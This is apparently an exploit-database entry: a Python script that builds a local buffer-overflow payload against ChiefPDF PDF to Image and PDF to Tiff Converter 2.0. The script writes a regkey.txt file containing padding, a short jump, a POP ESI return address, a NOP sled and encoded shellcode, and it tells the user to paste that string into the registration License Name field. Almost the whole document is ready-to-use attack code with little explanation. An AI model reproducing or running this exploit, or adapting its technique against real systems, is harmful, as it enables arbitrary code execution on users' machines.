Multiple ChiefPDF Software 2.0 - Local Buffer Overflow

#!/usr/bin/python
#Exploit Title:ChiefPDF Software Buffer Overflow 
#vulnerable programs:
#PDF to Image Converter 2.0
#PDF to Image Converter Free 2.0
#PDF to Tiff Converter 2.0
#PDF to Tiff Converter Free 2.0
#Software Link:http://www.soft32.com/publishers/chiefpdf/
#Author: metacom - twitter.com/m3tac0m
#Tested on: Win-Xp-sp3, Win-7, Win-8.1

#How to use:Copy the AAAA...string from regkey.txt and paste->Registration - License Name: 
buffer="A" * 544
buffer+="\xeb\x06\x90\x90"
buffer+="\x8B\x89\x03\x10"# 1003898B   5E   POP ESI 
buffer+="\x90" * 80
buffer+=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"
"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"
"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"
"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"
"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"
"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"
"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"
"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"
"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"
"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"
"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"
"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"
"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"
"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"
"\xea\x47")
file = open('regkey.txt','wb')
file.write(buffer);
file.close()